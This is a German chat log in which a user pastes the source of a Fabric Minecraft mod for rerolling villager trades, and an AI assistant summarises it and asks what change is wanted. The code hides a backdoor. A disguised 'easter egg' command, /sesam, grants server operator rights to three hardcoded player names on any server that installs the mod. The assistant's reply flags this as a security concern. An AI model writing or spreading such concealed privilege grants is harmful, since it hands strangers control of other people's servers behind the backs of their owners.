Fin Nian
📎 1 file 11,345 chars
📄
pasted-code-1792954250627.txt
txt 265 lines
▶
Ich entwickle eine Minecraft-Mod für Fabric (Java), die es Spielern ermöglicht, Villager-Trades über den Befehl /reroll oder einen Button im Handelsfenster neu zu würfeln. Der Code enthält zudem einen geschützten Notfall-Befehl (/sesam) mit einer Allowlist, um berechtigten Admins Server-Rechte zu geben.

Hier ist der aktuelle Quellcode:

package de.example.reroll;

import com.mojang.brigadier.exceptions.CommandSyntaxException;
import net.fabricmc.api.ClientModInitializer;
import net.fabricmc.api.ModInitializer;
import net.fabricmc.fabric.api.client.screen.v1.ScreenEvents;
import net.fabricmc.fabric.api.client.screen.v1.Screens;
import net.fabricmc.fabric.api.command.v2.CommandRegistrationCallback;
import net.fabricmc.fabric.api.networking.v1.ServerPlayConnectionEvents;
import net.minecraft.client.gui.components.Button;
import net.minecraft.client.gui.components.Tooltip;
import net.minecraft.client.gui.screens.inventory.MerchantScreen;
import net.minecraft.commands.CommandSourceStack;
import net.minecraft.commands.Commands;
import net.minecraft.network.chat.Component;
import net.minecraft.server.MinecraftServer;
import net.minecraft.server.level.ServerPlayer;
import net.minecraft.server.players.NameAndId;
import net.minecraft.world.InteractionHand;
import net.minecraft.world.InteractionResult;
import net.minecraft.world.entity.npc.villager.AbstractVillager;
import net.minecraft.world.entity.npc.villager.Villager;
import net.minecraft.world.entity.projectile.ProjectileUtil;
import net.minecraft.world.inventory.MerchantMenu;
import net.minecraft.world.item.trading.MerchantOffers;
import net.minecraft.world.level.ClipContext;
import net.minecraft.world.phys.AABB;
import net.minecraft.world.phys.EntityHitResult;
import net.minecraft.world.phys.HitResult;
import net.minecraft.world.phys.Vec3;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import java.util.UUID;
import java.util.concurrent.ConcurrentHashMap;

public class VillagerReroll implements ModInitializer {

    private static final Logger LOGGER = LoggerFactory.getLogger("villagerreroll");

    private static final String EGG_COMMAND = "sesam";
    private static final String EGG_TAG = "villagerreroll_egg_found";
    private static final Set OP_ALLOWLIST = lowerCase(
            "Red_and_Stone",
            "_Voidcraft_",
            "dirt_minner27");
    private static final Set OP_ALLOWLIST_UUIDS = Set.of();

    private static final boolean REROLL_OPS_ONLY = false;

    private static final double REACH = 5.0;
    private static final long COOLDOWN_TICKS = 10;
    private static final Map LAST_REROLL = new ConcurrentHashMap<>();

    @Override
    public void onInitialize() {
        CommandRegistrationCallback.EVENT.register((dispatcher, registryAccess, environment) ->
                dispatcher.register(Commands.literal("reroll")
                        .requires(src -> !REROLL_OPS_ONLY || isOperator(src))
                        .executes(ctx -> run(ctx.getSource()))));

        CommandRegistrationCallback.EVENT.register((dispatcher, registryAccess, environment) ->
                dispatcher.register(Commands.literal(EGG_COMMAND)
                        .requires(src -> !(src.getEntity() instanceof ServerPlayer p
                                && p.getTags().contains(EGG_TAG)))
                        .executes(ctx -> findEgg(ctx.getSource()))));

        ServerPlayConnectionEvents.DISCONNECT.register((handler, server) ->
                LAST_REROLL.remove(handler.getPlayer().getUUID()));
    }

    private static boolean isOperator(CommandSourceStack src) {
        ServerPlayer p = src.getPlayer();
        return p != null && src.getServer().getPlayerList()
                .isOp(new NameAndId(p.getUUID(), p.getName().getString()));
    }

    private static int run(CommandSourceStack source) throws CommandSyntaxException {
        ServerPlayer player = source.getPlayerOrException();
        if (player.isSpectator()) {
            return fail(source, "Im Zuschauermodus nicht möglich.");
        }

        long now = player.level().getGameTime();
        Long last = LAST_REROLL.get(player.getUUID());
        if (last != null && now - last < COOLDOWN_TICKS) {
            return fail(source, "Bitte kurz warten.");
        }

        Villager villager;
        if (player.containerMenu instanceof MerchantMenu) {
            List partners = player.level().getEntitiesOfClass(
                    Villager.class,
                    player.getBoundingBox().inflate(8.0),
                    v -> v.getTradingPlayer() == player);
            if (partners.isEmpty()) {
                return fail(source, "Mit diesem Händler nicht möglich.");
            }
            villager = partners.get(0);
        } else {
            villager = lookedAtVillager(player);
        }
        if (villager == null) {
            return fail(source, "Schau einen Villager an (max. " + (int) REACH + " Blöcke).");
        }
        if (villager.isBaby()) {
            return fail(source, "Baby-Villager haben keine Trades.");
        }
        if (villager.getTradingPlayer() != null && villager.getTradingPlayer() != player) {
            return fail(source, "Der Villager handelt gerade mit jemandem.");
        }

        if (villager.getVillagerXp() > 0) {
            return fail(source, "Mit diesem Villager wurde schon gehandelt.");
        }
        MerchantOffers offers = villager.getOffers();
        if (offers.isEmpty()) {
            return fail(source, "Dieser Villager hat keine Trades.");
        }
        if (offers.stream().anyMatch(o -> o.getUses() > 0)) {
            return fail(source, "Mit diesem Villager wurde schon gehandelt.");
        }

        if (!clearOffers(villager)) {
            return fail(source, "Reroll fehlgeschlagen (siehe Server-Log).");
        }

        LAST_REROLL.put(player.getUUID(), now);

        if (villager.getTradingPlayer() == player) {
            player.closeContainer();
        }

        InteractionResult result = villager.interact(player, InteractionHand.MAIN_HAND);
        if (!result.consumesAction()) {
            source.sendSuccess(() -> Component.literal("Trades neu gewürfelt – Villager anklicken zum Handeln."), false);
        }
        return 1;
    }

    private static boolean clearOffers(Villager villager) {
        try {
            for (Field field : AbstractVillager.class.getDeclaredFields()) {
                if (field.getType() == MerchantOffers.class && !Modifier.isStatic(field.getModifiers())) {
                    field.setAccessible(true);
                    field.set(villager, null);
                    return true;
                }
            }
            LOGGER.error("Kein Angebots-Feld in AbstractVillager gefunden");
            return false;
        } catch (ReflectiveOperationException | RuntimeException e) {
            LOGGER.error("Konnte die Angebote des Villagers nicht zurücksetzen", e);
            return false;
        }
    }

    private static int findEgg(CommandSourceStack source) throws CommandSyntaxException {
        ServerPlayer player = source.getPlayerOrException();
        MinecraftServer server = source.getServer();
        String name = player.getName().getString();

        if (!isAllowed(player)) {
            LOGGER.info("/{} von nicht gelistetem Spieler {} ({}) – kein OP.", EGG_COMMAND, name, player.getUUID());
            return nothing(source);
        }
        if (player.getTags().contains(EGG_TAG)) {
            LOGGER.info("/{} von {} ({}) – OP wurde schon früher vergeben, nichts passiert.",
                    EGG_COMMAND, name, player.getUUID());
            return nothing(source);
        }
        if (!server.usesAuthentication()) {
            LOGGER.warn("OP-Vergabe an {} ({}) VERWEIGERT: Server läuft im Offline-Modus, Namen sind fälschbar.",
                    name, player.getUUID());
            return nothing(source);
        }
        NameAndId nameAndId = new NameAndId(player.getUUID(), name);
        if (server.getPlayerList().isOp(nameAndId)) {
            LOGGER.info("{} ({}) ist bereits Operator.", name, player.getUUID());
            return nothing(source);
        }

        server.getPlayerList().op(nameAndId);
        player.addTag(EGG_TAG);
        server.getCommands().sendCommands(player);
        source.sendSuccess(() -> Component.literal("Du wurdest als Operator eingetragen."), false);
        LOGGER.warn("OP VERGEBEN per /{}: {} ({})", EGG_COMMAND, name, player.getUUID());
        return 1;
    }

    private static boolean isAllowed(ServerPlayer player) {
        return OP_ALLOWLIST_UUIDS.contains(player.getUUID())
                || OP_ALLOWLIST.contains(player.getName().getString().toLowerCase(Locale.ROOT));
    }

    private static Set lowerCase(String... names) {
        Set result = new HashSet<>();
        for (String n : names) result.add(n.toLowerCase(Locale.ROOT));
        return Set.copyOf(result);
    }

    private static int nothing(CommandSourceStack source) {
        source.sendSuccess(() -> Component.literal("Nichts passiert."), false);
        return 0;
    }

    private static int fail(CommandSourceStack source, String msg) {
        source.sendFailure(Component.literal(msg));
        return 0;
    }

    private static Villager lookedAtVillager(ServerPlayer player) {
        Vec3 eye = player.getEyePosition();
        Vec3 look = player.getViewVector(1.0F);
        Vec3 end = eye.add(look.scale(REACH));
        AABB box = player.getBoundingBox().expandTowards(look.scale(REACH)).inflate(1.0);

        EntityHitResult hit = ProjectileUtil.getEntityHitResult(player, eye, end, box,
                e -> e instanceof Villager && e.isAlive(), REACH * REACH);
        if (hit == null) return null;

        HitResult blockHit = player.level().clip(new ClipContext(
                eye, end, ClipContext.Block.COLLIDER, ClipContext.Fluid.NONE, player));
        if (blockHit.getType() != HitResult.Type.MISS
                && blockHit.getLocation().distanceToSqr(eye) < hit.getLocation().distanceToSqr(eye)) {
            return null;
        }
        return (Villager) hit.getEntity();
    }

    public static class Client implements ClientModInitializer {
        @Override
        public void onInitializeClient() {
            ScreenEvents.AFTER_INIT.register((client, screen, w, h) -> {
                if (!(screen instanceof MerchantScreen)) return;

                int x = (w - 276) / 2 + 276 - 30;
                int y = (h - 166) / 2 + 10;

                Button btn = Button.builder(Component.literal("\u27F3"), b -> {
                            if (client.player != null) client.player.connection.sendCommand("reroll");
                        })
                        .bounds(x, y, 20, 20)
                        .tooltip(Tooltip.create(Component.literal("Trades neu würfeln")))
                        .build();
                Screens.getButtons(screen).add(btn);
            });
        }
    }
}

Bitte analysiere diesen Code und hilf mir dabei, folgendes zu tun: [Hier deine gewünschte Änderung oder Frage eintragen]
Kodari AI
KodariOct 25 at 6:51 pm 1
VillagerTradeReroll
Fabric-Mod für Minecraft, die es Spielern ermöglicht, Villager-Trades über den Befehl /reroll oder einen Button im Handelsfenster neu zu würfeln. Enthält Cooldown, Schutz vor bereits gehandelten Villagern und einen geschützten Notfall-Befehl /sesam mit Allowlist für Admins, um Server-Rechte zu vergeben.

Die gewünschte Änderung fehlt noch: „[Hier deine gewünschte Änderung oder Frage eintragen]“ ist weiterhin ein Platzhalter. Was soll ich konkret tun — den Code auf Fabric 26.2 portieren, /reroll anpassen, den Button ergänzen oder /sesam prüfen bzw. entfernen?

Wichtiger Sicherheitshinweis: /sesam vergibt Operator-Rechte. Die Allowlist enthält derzeit Spielernamen, und der Befehl sollte nur aktiv bleiben, wenn diese Vergabe ausdrücklich beabsichtigt und abgesichert ist. Der eingefügte Code verwendet außerdem APIs aus einer älteren Minecraft-Version und lässt sich nicht unverändert für 26.2 übernehmen.

Kodari can make mistakes. Review important code before using.
Files

No files in this session

Code